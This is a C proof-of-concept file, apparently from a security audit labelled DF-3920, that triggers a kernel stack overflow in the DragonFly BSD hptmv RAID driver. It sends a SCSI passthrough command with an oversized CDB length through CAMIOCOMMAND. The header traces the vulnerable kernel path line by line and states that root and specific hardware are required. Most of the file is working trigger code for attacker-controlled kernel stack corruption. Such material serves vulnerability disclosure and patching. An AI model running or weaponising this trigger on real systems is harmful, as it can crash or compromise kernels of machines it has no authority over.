DF-3920 / df3920.c
/* DF-3920 - hptmv OsSendCommand Cdb[16] kernel stack overflow (trigger sketch) * * Builds a CAM passthrough CCB with csio.cdb_len = 200 (> sizeof(Cdb)=16) and * a SCSI READ_10 opcode, and submits it via CAMIOCOMMAND on /dev/passN. * * Kernel path: * passioctl (sys/bus/cam/scsi/scsi_pass.c:462) * -> passsendccb -> xpt_merge_ccb (scsi_pass.c:546) copies the user CCB * verbatim; cdb_len is NEVER clamped anywhere in CAM * -> cam_periph_runccb -> xpt_action -> hpt_action (entry.c:2246) * -> OsSendCommand (entry.c:2676), case READ_10 etc: * UCHAR Cdb[16]; // entry.c:2771 * CdbLength = csio->cdb_len; // entry.c:2777, u_int8_t, <=255 * bcopy(csio->cdb_io.cdb_ptr, Cdb, CdbLength); // entry.c:2782 <-- OVERFLOW * up to 239 bytes of fully attacker-chosen data smash the kernel stack * of OsSendCommand. * * PRECONDITIONS (why this cannot run on the audit guest): * 1. An hptmv (HighPoint RR1820, 11ab:5081) controller must be attached and * a logical device present at target_id < MAX_VDEVICE_PER_VBUS, so the * XPT_SCSI_IO reaches the hptmv SIM (hpt_action) instead of another SIM. * 2. /dev/passN for a device on the hptmv bus; opening it requires * caps_priv_check_self(SYSCAP_RESTRICTEDROOT) (scsi_pass.c:308) and the * node is 0600 root:operator -> privileged trigger. * The audit guest has no such hardware (see env.txt), so this is compile-only. * * Build (on a DragonFly host that has the card): cc -Wall -o df3920 df3920.c * Run as root: ./df3920 <hptmv-pass-unit> 200 */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> #include <bus/cam/scsi/scsi_all.h> int main(int argc, char **argv) { char dev[64]; union ccb ccb; int fd, unit, len, i; if (argc != 3) { fprintf(stderr, "usage: %s <pass-unit> <cdb_len 1..255>\n", argv[0]); return 2; } unit = atoi(argv[1]); len = atoi(argv[2]); if (len < 1 || len > 255) { fprintf(stderr, "bad len\n"); return 2; } snprintf(dev, sizeof(dev), "/dev/pass%d", unit); fd = open(dev, O_RDWR); if (fd < 0) { perror("open /dev/passN"); return 1; } memset(&ccb, 0, sizeof(ccb)); ccb.ccb_h.func_code = XPT_SCSI_IO; ccb.ccb_h.flags = CAM_DIR_IN | CAM_CDB_POINTER; ccb.ccb_h.timeout = 30 * 1000; ccb.csio.cdb_len = (u_int8_t)len; /* <-- 200: > sizeof(Cdb)=16 in OsSendCommand */ ccb.csio.cdb_io.cdb_ptr = ccb.csio.cdb_bytes; /* any kernel-readable addr; length is the bug */ ccb.csio.cdb_bytes[0] = 0x28; /* READ_10 to enter the vulnerable case */ for (i = 1; i < 16; i++) ccb.csio.cdb_bytes[i] = (u_int8_t)i; /* pattern visible in smashed stack */ /* minimal data buffer */ ccb.csio.data_ptr = (u_int8_t *)ccb.csio.sense_data; ccb.csio.dxfer_len = 0; ccb.csio.sglist_cnt = 0; ccb.csio.sense_len = 0; if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0) perror("CAMIOCOMMAND"); printf("ccb status 0x%x\n", ccb.ccb_h.status); close(fd); return 0; } |